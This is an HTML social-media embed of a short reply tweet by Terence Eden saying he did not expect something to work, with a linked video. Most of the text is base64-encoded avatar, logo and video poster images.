<blockquote class="social-embed" id="social-embed-1533201088941285377" lang="en"><header class="social-embed-header"><a href="https://twitter.com/edent" class="social-embed-user"><img class="social-embed-avatar social-embed-avatar-circle" src="data:image/webp;base64,UklGRkgBAABXRUJQVlA4IDwBAACQCACdASowADAAPrVQn0ynJCKiJyto4BaJaQAIIsx4Au9dhDqVA1i1RoRTO7nbdyy03nM5FhvV62goUj37tuxqpfpPeTBZvrJ78w0qAAD+/hVyFHvYXIrMCjny0z7wqsB9/QE08xls/AQdXJFX0adG9lISsm6kV96J5FINBFXzHwfzMCr4N6r3z5/Aa/wfEoVGX3H976she3jyS8RqJv7Jw7bOxoTSPlu4gNbfXYZ9TnbdQ0MNnMObyaRQLIu556jIj03zfJrVgqRM8GPwRoWb1M9AfzFe6Mtg13uEIqrTHmiuBpH+bTVB5EEQ3uby0C//XOAPJOFv4QV8RZDPQd517Khyba8Jlr97j2kIBJD9K3mbOHSHiQDasj6Y3forATbIg4QZHxWnCeqqMkVYfUAivuL0L/68mMnagAAA" alt=""><div class="social-embed-user-names"><p class="social-embed-user-names-name">Terence Eden is on Mastodon</p>@edent</div></a><img class="social-embed-logo" alt="" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciCmFyaWEtbGFiZWw9IlR3aXR0ZXIiIHJvbGU9ImltZyIKdmlld0JveD0iMCAwIDUxMiA1MTIiPjxwYXRoCmQ9Im0wIDBINTEyVjUxMkgwIgpmaWxsPSIjZmZmIi8+PHBhdGggZmlsbD0iIzFkOWJmMCIgZD0ibTQ1OCAxNDBxLTIzIDEwLTQ1IDEyIDI1LTE1IDM0LTQzLTI0IDE0LTUwIDE5YTc5IDc5IDAgMDAtMTM1IDcycS0xMDEtNy0xNjMtODNhODAgODAgMCAwMDI0IDEwNnEtMTcgMC0zNi0xMHMtMyA2MiA2NCA3OXEtMTkgNS0zNiAxczE1IDUzIDc0IDU1cS01MCA0MC0xMTcgMzNhMjI0IDIyNCAwIDAwMzQ2LTIwMHEyMy0xNiA0MC00MSIvPjwvc3ZnPg=="></header><section class="social-embed-text"><small class="social-embed-reply"><a href="https://twitter.com/edent/status/1533197758299086849">Replying to @edent</a></small>OMG…!<br>I legit did not expect that to work… <a href="https://twitter.com/edent/status/1533201088941285377/video/1">pic.x.com/5q4ymmzjdg</a><video class="social-embed-video" controls="" src="https://video.twimg.com/ext_tw_video/1533201033920450560/pu/vid/1280x718/0Ysl5rTjzywBh64K.mp4?tag=12" poster="data:image/webp;base64,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